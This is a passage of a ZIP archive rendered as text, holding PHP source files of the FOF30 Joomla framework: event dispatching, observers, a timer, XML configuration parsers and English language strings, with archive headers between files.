$observer); /** * Detaches an observer from the object * * @param Observer $observer The observer to detach * * @return Observable Ourselves, for chaining */ public function detach(Observer $observer); /** * Triggers an event in the attached observers * * @param string $event The event to attach * @param array $args Arguments to the event handler * * @return array */ public function trigger($event, array $args = []); } PK���\+8"�""fof30/Event/Dispatcher.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Event; defined('_JEXEC') || die; use FOF30\Container\Container; class Dispatcher implements Observable { /** @var Container The container this event dispatcher is attached to */ protected $container = null; /** @var array The observers attached to the dispatcher */ protected $observers = []; /** @var array Maps events to observers */ protected $events = []; /** * Public constructor * * @param Container $container The container this event dispatcher is attached to */ public function __construct(Container $container) { $this->container = $container; } /** * Returns the container this event dispatcher is attached to * * @return Container */ public function getContainer() { return $this->container; } /** * Attaches an observer to the object * * @param Observer $observer The observer to attach * * @return Dispatcher Ourselves, for chaining */ public function attach(Observer $observer) { $className = get_class($observer); // Make sure this observer is not already registered if (isset($this->observers[$className])) { return $this; } // Attach observer $this->observers[$className] = $observer; // Register the observable events $events = $observer->getObservableEvents(); foreach ($events as $event) { $event = strtolower($event); if (!isset($this->events[$event])) { $this->events[$event] = [$className]; } else { $this->events[$event][] = $className; } } return $this; } /** * Detaches an observer from the object * * @param Observer $observer The observer to detach * * @return Dispatcher Ourselves, for chaining */ public function detach(Observer $observer) { $className = get_class($observer); // Make sure this observer is already registered if (!isset($this->observers[$className])) { return $this; } // Unregister the observable events $events = $observer->getObservableEvents(); foreach ($events as $event) { $event = strtolower($event); if (isset($this->events[$event])) { $key = array_search($className, $this->events[$event]); if ($key !== false) { unset($this->events[$event][$key]); if (empty($this->events[$event])) { unset ($this->events[$event]); } } } } // Detach observer unset($this->observers[$className]); return $this; } /** * Is an observer object already registered with this dispatcher? * * @param Observer $observer The observer to check if it's attached * * @return boolean */ public function hasObserver(Observer $observer) { $className = get_class($observer); return $this->hasObserverClass($className); } /** * Is there an observer of the specified class already registered with this dispatcher? * * @param string $className The observer class name to check if it's attached * * @return boolean */ public function hasObserverClass($className) { return isset($this->observers[$className]); } /** * Returns an observer attached to this behaviours dispatcher by its class name * * @param string $className The class name of the observer object to return * * @return null|Observer */ public function getObserverByClass($className) { if (!$this->hasObserverClass($className)) { return null; } return $this->observers[$className]; } /** * Triggers an event in the attached observers * * @param string $event The event to attach * @param array $args Arguments to the event handler * * @return array */ public function trigger($event, array $args = []) { $event = strtolower($event); $result = []; // Make sure the event is known to us, otherwise return an empty array if (!isset($this->events[$event]) || empty($this->events[$event])) { return $result; } foreach ($this->events[$event] as $className) { // Make sure the observer exists. if (!isset($this->observers[$className])) { continue; } // Get the observer $observer = $this->observers[$className]; // Make sure the method exists if (!method_exists($observer, $event)) { continue; } // Call the event handler and add its output to the return value. The switch allows for execution up to 2x // faster than using call_user_func_array switch (count($args)) { case 0: $result[] = $observer->{$event}(); break; case 1: $result[] = $observer->{$event}($args[0]); break; case 2: $result[] = $observer->{$event}($args[0], $args[1]); break; case 3: $result[] = $observer->{$event}($args[0], $args[1], $args[2]); break; case 4: $result[] = $observer->{$event}($args[0], $args[1], $args[2], $args[3]); break; case 5: $result[] = $observer->{$event}($args[0], $args[1], $args[2], $args[3], $args[4]); break; default: $result[] = call_user_func_array([$observer, $event], $args); break; } } // Return the observers' result in an array return $result; } /** * Asks each observer to handle an event based on the provided arguments. The first observer to return a non-null * result wins. This is a *very* simplistic implementation of the Chain of Command pattern. * * @param string $event The event name to handle * @param array $args The arguments to the event * * @return mixed Null if the event can't be handled by any observer */ public function chainHandle($event, $args = []) { $event = strtolower($event); $result = null; // Make sure the event is known to us, otherwise return an empty array if (!isset($this->events[$event]) || empty($this->events[$event])) { return $result; } foreach ($this->events[$event] as $className) { // Make sure the observer exists. if (!isset($this->observers[$className])) { continue; } // Get the observer $observer = $this->observers[$className]; // Make sure the method exists if (!method_exists($observer, $event)) { continue; } // Call the event handler and add its output to the return value. The switch allows for execution up to 2x // faster than using call_user_func_array switch (count($args)) { case 0: $result = $observer->{$event}(); break; case 1: $result = $observer->{$event}($args[0]); break; case 2: $result = $observer->{$event}($args[0], $args[1]); break; case 3: $result = $observer->{$event}($args[0], $args[1], $args[2]); break; case 4: $result = $observer->{$event}($args[0], $args[1], $args[2], $args[3]); break; case 5: $result = $observer->{$event}($args[0], $args[1], $args[2], $args[3], $args[4]); break; default: $result = call_user_func_array([$observer, $event], $args); break; } if (!is_null($result)) { return $result; } } // Return the observers' result in an array return $result; } } PK���\8�����fof30/Event/Observer.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Event; defined('_JEXEC') || die; use ReflectionMethod; use ReflectionObject; class Observer { /** @var Observable The object to observe */ protected $subject = null; protected $events = null; /** * Creates the observer and attaches it to the observable subject object * * @param Observable $subject The observable object to attach the observer to */ function __construct(Observable &$subject) { // Attach this observer to the subject $subject->attach($this); // Store a reference to the subject object $this->subject = $subject; } /** * Returns the list of events observable by this observer. Set the $this->events array manually for faster * processing, or let this method use reflection to return a list of all public methods. * * @return array */ public function getObservableEvents() { if (is_null($this->events)) { // Assign an empty array to protect us from behaviours without any valid method $this->events = []; $reflection = new ReflectionObject($this); $methods = $reflection->getMethods(ReflectionMethod::IS_PUBLIC); foreach ($methods as $m) { if ($m->name == 'getObservableEvents') { continue; } if ($m->name == '__construct') { continue; } $this->events[] = $m->name; } } return $this->events; } } PK���\n�����fof30/Timer/Timer.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Timer; defined('_JEXEC') || die; /** * Timeout prevention timer */ class Timer { /** * Maximum execution time allowance per step * * @var integer */ private $max_exec_time = null; /** * Timestamp of execution start * * @var integer */ private $start_time = null; /** * Public constructor, creates the timer object and calculates the execution * time limits. * * @param integer $max_exec_time Maximum execution time, in seconds * @param integer $runtime_bias Runtime bias factor, as percent points of the max execution time * * @return Timer */ public function __construct($max_exec_time = 5, $runtime_bias = 75) { // Initialize start time $this->start_time = microtime(true); $this->max_exec_time = $max_exec_time * $runtime_bias / 100; } /** * Wake-up function to reset internal timer when we get unserialized * * @return void */ public function __wakeup() { // Re-initialize start time on wake-up $this->start_time = microtime(true); } /** * Gets the number of seconds left, before we hit the "must break" threshold * * @return float */ public function getTimeLeft() { return $this->max_exec_time - $this->getRunningTime(); } /** * Gets the time elapsed since object creation/unserialization, effectively * how long this step is running * * @return float */ public function getRunningTime() { return microtime(true) - $this->start_time; } /** * Reset the timer * * @return void */ public function resetTime() { $this->start_time = microtime(true); } } PK���\ۥ��uu%fof30/Configuration/Configuration.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Configuration; defined('_JEXEC') || die; use FOF30\Container\Container; /** * Reads and parses the fof.xml file in the back-end of a FOF-powered component, * provisioning the data to the rest of the FOF framework * * @since 2.1 */ class Configuration { /** * Cache of FOF components' configuration variables * * @var array */ public static $configurations = []; /** * The component's container * * @var Container */ protected $container = null; function __construct(Container $c) { $this->container = $c; $this->parseComponent(); } /** * Returns the value of a variable. Variables use a dot notation, e.g. * view.config.whatever where the first part is the domain, the rest of the * parts specify the path to the variable. * * @param string $variable The variable name * @param mixed $default The default value, or null if not specified * * @return mixed The value of the variable */ public function get($variable, $default = null) { static $domains = null; if (is_null($domains)) { $domains = $this->getDomains(); } [$domain, $var] = explode('.', $variable, 2); if (!in_array(ucfirst($domain), $domains)) { return $default; } $class = '\\FOF30\\Configuration\\Domain\\' . ucfirst($domain); /** @var \FOF30\Configuration\Domain\DomainInterface $o */ $o = new $class; return $o->get(self::$configurations[$this->container->componentName], $var, $default); } /** * Parses the configuration of the specified component * * @return void */ protected function parseComponent() { if ($this->container->platform->isCli()) { $order = ['cli', 'backend']; } elseif ($this->container->platform->isBackend()) { $order = ['backend']; } else { $order = ['frontend']; } $order[] = 'common'; $order = array_reverse($order); self::$configurations[$this->container->componentName] = []; foreach ([false, true] as $userConfig) { foreach ($order as $area) { $config = $this->parseComponentArea($area, $userConfig); self::$configurations[$this->container->componentName] = array_replace_recursive(self::$configurations[$this->container->componentName], $config); } } } /** * Parses the configuration options of a specific component area * * @param string $area Which area to parse (frontend, backend, cli) * @param bool $userConfig When true the user configuration (fof.user.xml) file will be read * * @return array A hash array with the configuration data */ protected function parseComponentArea($area, $userConfig = false) { $component = $this->container->componentName; // Initialise the return array $ret = []; // Get the folders of the component $componentPaths = $this->container->platform->getComponentBaseDirs($component); $filesystem = $this->container->filesystem; $path = $componentPaths['admin']; if (isset($this->container['backEndPath'])) { $path = $this->container['backEndPath']; } // This line unfortunately doesn't work with Unit Tests because JPath depends on the JPATH_SITE constant :( // $path = $filesystem->pathCheck($path); // Check that the path exists if (!$filesystem->folderExists($path)) { return $ret; } // Read the filename if it exists $filename = $path . '/fof.xml'; if ($userConfig) { $filename = $path . '/fof.user.xml'; } if (!$filesystem->fileExists($filename) && !file_exists($filename)) { return $ret; } $data = file_get_contents($filename); // Load the XML data in a SimpleXMLElement object $xml = simplexml_load_string($data); if (!($xml instanceof \SimpleXMLElement)) { return $ret; } // Get this area's data $areaData = $xml->xpath('//' . $area); if (empty($areaData)) { return $ret; } $xml = array_shift($areaData); // Parse individual configuration domains $domains = $this->getDomains(); foreach ($domains as $dom) { $class = '\\FOF30\\Configuration\\Domain\\' . ucfirst($dom); if (class_exists($class, true)) { /** @var \FOF30\Configuration\Domain\DomainInterface $o */ $o = new $class; $o->parseDomain($xml, $ret); } } // Finally, return the result return $ret; } /** * Gets a list of the available configuration domain adapters * * @return array A list of the available domains */ protected function getDomains() { static $domains = []; if (empty($domains)) { $filesystem = $this->container->filesystem; $files = $filesystem->folderFiles(__DIR__ . '/Domain', '.php'); if (!empty($files)) { foreach ($files as $file) { $domain = basename($file, '.php'); if ($domain == 'DomainInterface') { continue; } $domain = preg_replace('/[^A-Za-z0-9]/', '', $domain); $domains[] = $domain; } $domains = array_unique($domains); } } return $domains; } } PK���\h�5w��(fof30/Configuration/Domain/Container.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Configuration\Domain; defined('_JEXEC') || die; use SimpleXMLElement; /** * Configuration parser for the Container-specific settings * * @since 2.1 */ class Container implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret) { // Initialise $ret['container'] = []; // Parse the dispatcher configuration $containerData = $xml->container; // Sanity check if (empty($containerData)) { return; } $options = $xml->xpath('container/option'); if (!empty($options)) { foreach ($options as $option) { $key = (string) $option['name']; $ret['container'][$key] = (string) $option; } } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(&$configuration, $var, $default) { if ($var == '*') { return $configuration['container']; } if (isset($configuration['container'][$var])) { return $configuration['container'][$var]; } else { return $default; } } } PK���\��O��.fof30/Configuration/Domain/DomainInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Configuration\Domain; defined('_JEXEC') || die; use SimpleXMLElement; /** * The Interface of a FOF configuration domain class. The methods are used to parse and * provision sensible information to consumers. The Configuration class acts as an * adapter to the domain classes. * * @since 2.1 */ interface DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret); /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(&$configuration, $var, $default); } PK���\�b����)fof30/Configuration/Domain/Dispatcher.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Configuration\Domain; defined('_JEXEC') || die; use SimpleXMLElement; /** * Configuration parser for the dispatcher-specific settings * * @since 2.1 */ class Dispatcher implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret) { // Initialise $ret['dispatcher'] = []; // Parse the dispatcher configuration $dispatcherData = $xml->dispatcher; // Sanity check if (empty($dispatcherData)) { return; } $options = $xml->xpath('dispatcher/option'); if (!empty($options)) { foreach ($options as $option) { $key = (string) $option['name']; $ret['dispatcher'][$key] = (string) $option; } } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(&$configuration, $var, $default) { if ($var == '*') { return $configuration['dispatcher']; } if (isset($configuration['dispatcher'][$var])) { return $configuration['dispatcher'][$var]; } else { return $default; } } } PK���\:~~u%u%%fof30/Configuration/Domain/Models.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Configuration\Domain; defined('_JEXEC') || die; use SimpleXMLElement; /** * Configuration parser for the models-specific settings * * @since 2.1 */ class Models implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret) { // Initialise $ret['models'] = []; // Parse model configuration $modelsData = $xml->xpath('model'); // Sanity check if (empty($modelsData)) { return; } foreach ($modelsData as $aModel) { $key = (string) $aModel['name']; $ret['models'][$key]['behaviors'] = []; $ret['models'][$key]['behaviorsMerge'] = false; $ret['models'][$key]['tablealias'] = $aModel->xpath('tablealias'); $ret['models'][$key]['fields'] = []; $ret['models'][$key]['relations'] = []; $ret['models'][$key]['config'] = []; // Parse configuration $optionData = $aModel->xpath('config/option'); if (!empty($optionData)) { foreach ($optionData as $option) { $k = (string) $option['name']; $ret['models'][$key]['config'][$k] = (string) $option; } } // Parse field aliases $fieldData = $aModel->xpath('field'); if (!empty($fieldData)) { foreach ($fieldData as $field) { $k = (string) $field['name']; $ret['models'][$key]['fields'][$k] = (string) $field; } } // Parse behaviours $behaviorsData = (string) $aModel->behaviors; $behaviorsMerge = (string) $aModel->behaviors['merge']; if (!empty($behaviorsMerge)) { $behaviorsMerge = trim($behaviorsMerge); $behaviorsMerge = strtoupper($behaviorsMerge); if (in_array($behaviorsMerge, ['1', 'YES', 'ON', 'TRUE'])) { $ret['models'][$key]['behaviorsMerge'] = true; } } if (!empty($behaviorsData)) { $behaviorsData = explode(',', $behaviorsData); foreach ($behaviorsData as $behavior) { $behavior = trim($behavior); if (empty($behavior)) { continue; } $ret['models'][$key]['behaviors'][] = $behavior; } } // Parse relations $relationsData = $aModel->xpath('relation'); if (!empty($relationsData)) { foreach ($relationsData as $relationData) { $type = (string) $relationData['type']; $itemName = (string) $relationData['name']; if (empty($type) || empty($itemName)) { continue; } $modelClass = (string) $relationData['foreignModelClass']; $localKey = (string) $relationData['localKey']; $foreignKey = (string) $relationData['foreignKey']; $pivotTable = (string) $relationData['pivotTable']; $ourPivotKey = (string) $relationData['pivotLocalKey']; $theirPivotKey = (string) $relationData['pivotForeignKey']; $relation = [ 'type' => $type, 'itemName' => $itemName, 'foreignModelClass' => empty($modelClass) ? null : $modelClass, 'localKey' => empty($localKey) ? null : $localKey, 'foreignKey' => empty($foreignKey) ? null : $foreignKey, ]; if (!empty($ourPivotKey) || !empty($theirPivotKey) || !empty($pivotTable)) { $relation['pivotLocalKey'] = empty($ourPivotKey) ? null : $ourPivotKey; $relation['pivotForeignKey'] = empty($theirPivotKey) ? null : $theirPivotKey; $relation['pivotTable'] = empty($pivotTable) ? null : $pivotTable; } $ret['models'][$key]['relations'][] = $relation; } } } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(&$configuration, $var, $default) { $parts = explode('.', $var); $view = $parts[0]; $method = 'get' . ucfirst($parts[1]); if (!method_exists($this, $method)) { return $default; } array_shift($parts); array_shift($parts); $ret = $this->$method($view, $configuration, $parts, $default); return $ret; } /** * Internal method to return the magic field mapping * * @param string $model The model for which we will be fetching a field map * @param array &$configuration The configuration parameters hash array * @param array $params Extra options * @param string $default Default magic field mapping; empty if not defined * * @return array Field map */ protected function getField($model, &$configuration, $params, $default = '') { $fieldmap = []; if (isset($configuration['models']['*']) && isset($configuration['models']['*']['fields'])) { $fieldmap = $configuration['models']['*']['fields']; } if (isset($configuration['models'][$model]) && isset($configuration['models'][$model]['fields'])) { $fieldmap = array_merge($fieldmap, $configuration['models'][$model]['fields']); } $map = $default; if (empty($params[0]) || ($params[0] == '*')) { $map = $fieldmap; } elseif (isset($fieldmap[$params[0]])) { $map = $fieldmap[$params[0]]; } return $map; } /** * Internal method to get model alias * * @param string $model The model for which we will be fetching table alias * @param array &$configuration The configuration parameters hash array * @param array $params Ignored * @param string $default Default table alias * * @return string Table alias */ protected function getTablealias($model, &$configuration, $params, $default = '') { $tableMap = []; if (isset($configuration['models']['*']['tablealias'])) { $tableMap = $configuration['models']['*']['tablealias']; } if (isset($configuration['models'][$model]['tablealias'])) { $tableMap = array_merge($tableMap, $configuration['models'][$model]['tablealias']); } if (empty($tableMap)) { return null; } return $tableMap[0]; } /** * Internal method to get model behaviours * * @param string $model The model for which we will be fetching behaviours * @param array &$configuration The configuration parameters hash array * @param array $params Unused * @param string $default Default behaviour * * @return string Model behaviours */ protected function getBehaviors($model, &$configuration, $params, $default = '') { $behaviors = $default; if (isset($configuration['models']['*']) && isset($configuration['models']['*']['behaviors']) ) { $behaviors = $configuration['models']['*']['behaviors']; } if (isset($configuration['models'][$model]) && isset($configuration['models'][$model]['behaviors']) ) { $merge = false; if (isset($configuration['models'][$model]) && isset($configuration['models'][$model]['behaviorsMerge']) ) { $merge = (bool) $configuration['models'][$model]['behaviorsMerge']; } if ($merge) { $behaviors = array_merge($behaviors, $configuration['models'][$model]['behaviors']); } else { $behaviors = $configuration['models'][$model]['behaviors']; } } return $behaviors; } /** * Internal method to get model relations * * @param string $model The model for which we will be fetching relations * @param array &$configuration The configuration parameters hash array * @param array $params Unused * @param string $default Default relations * * @return array Model relations */ protected function getRelations($model, &$configuration, $params, $default = '') { $relations = $default; if (isset($configuration['models']['*']) && isset($configuration['models']['*']['relations']) ) { $relations = $configuration['models']['*']['relations']; } if (isset($configuration['models'][$model]) && isset($configuration['models'][$model]['relations']) ) { $relations = $configuration['models'][$model]['relations']; } return $relations; } /** * Internal method to return the a configuration option for the Model. * * @param string $model The view for which we will be fetching a task map * @param array &$configuration The configuration parameters hash array * @param array $params Extra options; key 0 defines the option variable we want to fetch * @param mixed $default Default option; null if not defined * * @return string The setting for the requested option */ protected function getConfig($model, &$configuration, $params, $default = null) { $ret = $default; $config = []; if (isset($configuration['models']['*']['config'])) { $config = $configuration['models']['*']['config']; } if (isset($configuration['models'][$model]['config'])) { $config = array_merge($config, $configuration['models'][$model]['config']); } if (empty($params) || empty($params[0])) { return $config; } if (isset($config[$params[0]])) { $ret = $config[$params[0]]; } return $ret; } } PK���\�6�!!$fof30/Configuration/Domain/Views.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Configuration\Domain; defined('_JEXEC') || die; use SimpleXMLElement; /** * Configuration parser for the view-specific settings * * @since 2.1 */ class Views implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret) { // Initialise $ret['views'] = []; // Parse view configuration $viewData = $xml->xpath('view'); // Sanity check if (empty($viewData)) { return; } foreach ($viewData as $aView) { $key = (string) $aView['name']; // Parse ACL options $ret['views'][$key]['acl'] = []; $aclData = $aView->xpath('acl/task'); if (!empty($aclData)) { foreach ($aclData as $acl) { $k = (string) $acl['name']; $ret['views'][$key]['acl'][$k] = (string) $acl; } } // Parse taskmap $ret['views'][$key]['taskmap'] = []; $taskmapData = $aView->xpath('taskmap/task'); if (!empty($taskmapData)) { foreach ($taskmapData as $map) { $k = (string) $map['name']; $ret['views'][$key]['taskmap'][$k] = (string) $map; } } // Parse controller configuration $ret['views'][$key]['config'] = []; $optionData = $aView->xpath('config/option'); if (!empty($optionData)) { foreach ($optionData as $option) { $k = (string) $option['name']; $ret['views'][$key]['config'][$k] = (string) $option; } } // Parse the toolbar $ret['views'][$key]['toolbar'] = []; $toolBars = $aView->xpath('toolbar'); if (!empty($toolBars)) { foreach ($toolBars as $toolBar) { $taskName = isset($toolBar['task']) ? (string) $toolBar['task'] : '*'; // If a toolbar title is specified, create a title element. if (isset($toolBar['title'])) { $ret['views'][$key]['toolbar'][$taskName]['title'] = [ 'value' => (string) $toolBar['title'], ]; } // Parse the toolbar buttons data $toolbarData = $toolBar->xpath('button'); if (!empty($toolbarData)) { foreach ($toolbarData as $button) { $k = (string) $button['type']; $ret['views'][$key]['toolbar'][$taskName][$k] = current($button->attributes()); $ret['views'][$key]['toolbar'][$taskName][$k]['value'] = (string) $button; } } } } } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(&$configuration, $var, $default) { $parts = explode('.', $var); $view = $parts[0]; $method = 'get' . ucfirst($parts[1]); if (!method_exists($this, $method)) { return $default; } array_shift($parts); array_shift($parts); $ret = $this->$method($view, $configuration, $parts, $default); return $ret; } /** * Internal function to return the task map for a view * * @param string $view The view for which we will be fetching a task map * @param array &$configuration The configuration parameters hash array * @param array $params Extra options (not used) * @param array $default ßDefault task map; empty array if not provided * * @return array The task map as a hash array in the format task => method */ protected function getTaskmap($view, &$configuration, $params, $default = []) { $taskmap = []; if (isset($configuration['views']['*']) && isset($configuration['views']['*']['taskmap'])) { $taskmap = $configuration['views']['*']['taskmap']; } if (isset($configuration['views'][$view]) && isset($configuration['views'][$view]['taskmap'])) { $taskmap = array_merge($taskmap, $configuration['views'][$view]['taskmap']); } if (empty($taskmap)) { return $default; } return $taskmap; } /** * Internal method to return the ACL mapping (privilege required to access * a specific task) for the given view's tasks * * @param string $view The view for which we will be fetching a task map * @param array &$configuration The configuration parameters hash array * @param array $params Extra options; key 0 defines the task we want to fetch * @param string $default Default ACL option; empty (no ACL check) if not defined * * @return string The privilege required to access this view */ protected function getAcl($view, &$configuration, $params, $default = '') { $aclmap = []; if (isset($configuration['views']['*']) && isset($configuration['views']['*']['acl'])) { $aclmap = $configuration['views']['*']['acl']; } if (isset($configuration['views'][$view]) && isset($configuration['views'][$view]['acl'])) { $aclmap = array_merge($aclmap, $configuration['views'][$view]['acl']); } $acl = $default; if (empty($params) || empty($params[0])) { return $aclmap; } if (isset($aclmap['*'])) { $acl = $aclmap['*']; } if (isset($aclmap[$params[0]])) { $acl = $aclmap[$params[0]]; } return $acl; } /** * Internal method to return the a configuration option for the view. These * are equivalent to $config array options passed to the Controller * * @param string $view The view for which we will be fetching a task map * @param array &$configuration The configuration parameters hash array * @param array $params Extra options; key 0 defines the option variable we want to fetch * @param mixed $default Default option; null if not defined * * @return string The setting for the requested option */ protected function getConfig($view, &$configuration, $params, $default = null) { $ret = $default; $config = []; if (isset($configuration['views']['*']['config'])) { $config = $configuration['views']['*']['config']; } if (isset($configuration['views'][$view]['config'])) { $config = array_merge($config, $configuration['views'][$view]['config']); } if (empty($params) || empty($params[0])) { return $config; } if (isset($config[$params[0]])) { $ret = $config[$params[0]]; } return $ret; } /** * Internal method to return the toolbar infos. * * @param string $view The view for which we will be fetching buttons * @param array &$configuration The configuration parameters hash array * @param array $params Extra options * @param string $default Default option * * @return string The toolbar data for this view */ protected function getToolbar($view, &$configuration, $params, $default = '') { $toolbar = []; if (isset($configuration['views']['*']) && isset($configuration['views']['*']['toolbar']) && isset($configuration['views']['*']['toolbar']['*'])) { $toolbar = $configuration['views']['*']['toolbar']['*']; } if (isset($configuration['views']['*']) && isset($configuration['views']['*']['toolbar']) && isset($configuration['views']['*']['toolbar'][$params[0]])) { $toolbar = array_merge($toolbar, $configuration['views']['*']['toolbar'][$params[0]]); } if (isset($configuration['views'][$view]) && isset($configuration['views'][$view]['toolbar']) && isset($configuration['views'][$view]['toolbar']['*'])) { $toolbar = array_merge($toolbar, $configuration['views'][$view]['toolbar']['*']); } if (isset($configuration['views'][$view]) && isset($configuration['views'][$view]['toolbar']) && isset($configuration['views'][$view]['toolbar'][$params[0]])) { $toolbar = array_merge($toolbar, $configuration['views'][$view]['toolbar'][$params[0]]); } if (empty($toolbar)) { return $default; } return $toolbar; } } PK���\�� ���-fof30/Configuration/Domain/Authentication.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\Configuration\Domain; defined('_JEXEC') || die; use SimpleXMLElement; /** * Configuration parser for the authentication-specific settings * * @since 2.1 */ class Authentication implements DomainInterface { /** * Parse the XML data, adding them to the $ret array * * @param SimpleXMLElement $xml The XML data of the component's configuration area * @param array &$ret The parsed data, in the form of a hash array * * @return void */ public function parseDomain(SimpleXMLElement $xml, array &$ret) { // Initialise $ret['authentication'] = []; // Parse the dispatcher configuration $authenticationData = $xml->authentication; // Sanity check if (empty($authenticationData)) { return; } $options = $xml->xpath('authentication/option'); if (!empty($options)) { foreach ($options as $option) { $key = (string) $option['name']; $ret['authentication'][$key] = (string) $option; } } } /** * Return a configuration variable * * @param string &$configuration Configuration variables (hashed array) * @param string $var The variable we want to fetch * @param mixed $default Default value * * @return mixed The variable's value */ public function get(&$configuration, $var, $default) { if ($var == '*') { return $configuration['authentication']; } if (isset($configuration['authentication'][$var])) { return $configuration['authentication'][$var]; } else { return $default; } } } PK���\k��66fof30/language/index.htmlnu&1i�<html><head><title></title></head><body></body></html>PK���\p&c��(fof30/language/en-GB/en-GB.lib_fof30.ininu&1i�; @package FOF ; @copyright Copyright (c)2010-2019 Nicholas K. Dionysopoulos / Akeeba Ltd ; @license GNU GPL version 2 or later ; Download helper LIB_FOF_DOWNLOAD_ERR_COULDNOTDOWNLOADFROMURL="Could not download from %s" LIB_FOF_DOWNLOAD_ERR_COULDNOTWRITELOCALFILE="Local file %s is not writeable" LIB_FOF_DOWNLOAD_ERR_CURL_ERROR="The download failed: cURL error %s: %s" LIB_FOF_DOWNLOAD_ERR_FOPEN_ERROR="The download failed: fopen returned no header information" LIB_FOF_DOWNLOAD_ERR_HTTPERROR="Unexpected HTTP status %s" LIB_FOF_MODEL_ERR_GET_NAME="FOF: Model: Cannot get Model's name" LIB_FOF_CONTROLLER_ERR_GET_NAME="FOF: Controller: Cannot get Controller's name" LIB_FOF_VIEW_ERR_GET_NAME="FOF: Controller: Cannot get View's name" LIB_FOF_TRANSPARENTAUTH_ERR_NOT_FOUND="FOF: TransparentAuthentication %s not found" LIB_FOF_DISPATCHER_ERR_NOT_FOUND="FOF: Dispatcher %s not found" LIB_FOF_TOOLBAR_ERR_NOT_FOUND="FOF: Toolbar %s not found" LIB_FOF_CONTROLLER_ERR_NOT_FOUND="FOF: Controller %s not found" LIB_FOF_MODEL_ERR_NOT_FOUND="FOF: Model %s not found" LIB_FOF_VIEW_ERR_NOT_FOUND="FOF: View %s not found" LIB_FOF_CONTROLLER_ERR_LOCKED="This item is already checked out by another user" LIB_FOF_FORM_ERR_GETSTATIC_NOT_ALLOWED="FOF: %s cannot be used in single item display forms" LIB_FOF_FORM_ERR_DATAMODEL_REQUIRED="FOF: %s requires a DataModel to act upon" LIB_FOF_FORM_ERR_GETOPTIONS_INVALID_GROUP_CONTENTS="FOF: %s invalid group contents in getOptions" LIB_FOF_FORM_ERR_GETINPUT_NOT_ALLOWED="FOF: %s cannot be used in input forms" LIB_FOF_HAL_ERR_INVALIDLINK="A HAL link must always have a non-empty href" LIB_FOF_HAL_ERR_INVALIDRENDERFORMAT="Unsupported HAL Document format "%s". Render aborted." LIB_FOF_MODEL_ERR_BIND="FOF: %s::bind() argument is %s, not an object or array" LIB_FOF_MODEL_ERR_COULDNOTLOAD="Could not load record" LIB_FOF_MODEL_ERR_NOITEMSFOUND="No items found in %s" LIB_FOF_MODEL_ERR_CANNOTLOCKNOTLOADEDRECORD="Cannot lock a record which has not been loaded" LIB_FOF_MODEL_ERR_NOASSETKEY="Table must have an asset key defined and a value for the table id in order to track assets" LIB_FOF_MODEL_ERR_NOCONTENTTYPE="Content type for %s is not set." LIB_FOF_MODEL_ERR_TREE_INCOMPATIBLETABLE="Database table %s is not compatible with TreeModel: it does not have lft/rgt columns" LIB_FOF_MODEL_ERR_TREE_UNEXPECTEDPK="No primary key provided or deleting this record is not allowed" LIB_FOF_MODEL_ERR_TREE_UNSUPPORTEDMETHOD="Method %s() is not supported by TreeModel" 